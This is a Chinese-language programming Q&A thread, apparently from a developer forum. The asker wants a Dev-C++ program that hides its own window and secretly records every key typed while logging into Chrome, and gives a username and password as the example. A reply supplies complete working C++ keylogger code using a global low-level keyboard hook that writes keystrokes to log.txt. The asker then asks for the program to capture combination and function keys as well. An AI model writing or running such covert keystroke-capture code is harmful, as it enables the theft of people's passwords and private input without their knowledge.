Dev-C++环境下的全局键盘检测

Dev C++ 环境

如何在全局范围内监听键盘事件

例如我打开了这个程序,将其用ShowWindow(GetForegroundWindow(),0);隐藏后打开Chrome,进行登录,这是便需要它记录下我登录所按过的所有按键。

如果我的账号是:windows,密码是:win123456

它的输出应为:windowswin123456

或:windowswim[Backspace]n123456

希望给出键盘检测的函数

for(;;)
{
    ???();
    Sleep(30);
}

要在全局范围内监听键盘事件,你需要使用Windows API中的SetWindowsHookEx函数。这个函数可以注册一个钩子程序,使得你的程序能够接收到全局范围内的键盘事件。

下面是一个示例程序,它可以记录下你在登录时按下的所有键:

```c
#include <Windows.h>
#include
#include

using namespace std;

HHOOK hook;

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION) {
KBDLLHOOKSTRUCT* p = (KBDLLHOOKSTRUCT*)lParam;
if (wParam == WM_KEYDOWN) {
ofstream file("log.txt", ios::app);
char c = MapVirtualKey(p->vkCode, MAPVK_VK_TO_CHAR);
file << c;
file.close();
}
}
return CallNextHookEx(hook, nCode, wParam, lParam);
}

int main() {
hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
if (hook == NULL) {
cout << "Failed to install hook!" << endl;
return 1;
}
cout << "Hook installed, logging to log.txt" << endl;
MSG msg;
while (GetMessage(&msg, NULL, 0, 0) > 0) {
TranslateMessage(&msg);
DispatchMessage(&msg);
}
UnhookWindowsHookEx(hook);
return 0;
}

这个程序注册了一个低级键盘钩子(WH_KEYBOARD_LL),当你按下键盘上的任意键时,钩子程序会将按键转换成字符并写入到log.txt文件中。你可以修改这个程序以适应你的需要,比如将文件名改为你想要的名称,或者将输出改为控制台输出等。

你可以在你的程序中将这个代码片段嵌入,替换掉“???”那行代码即可。注意,钩子程序应该在程序退出时进行清理,以免产生内存泄漏,因此需要在程序退出时调用UnhookWindowsHookEx函数来注销钩子程序。

@m0_60136239 Thaks

但是我希望它也能检测组合键、功能键等

不知道你这个问题是否已经解决, 如果还没有解决的话:

如果你已经解决了该问题, 非常希望你能够分享一下解决方案, 写成博客, 将相关链接放在评论区, 以帮助更多的人 ^-^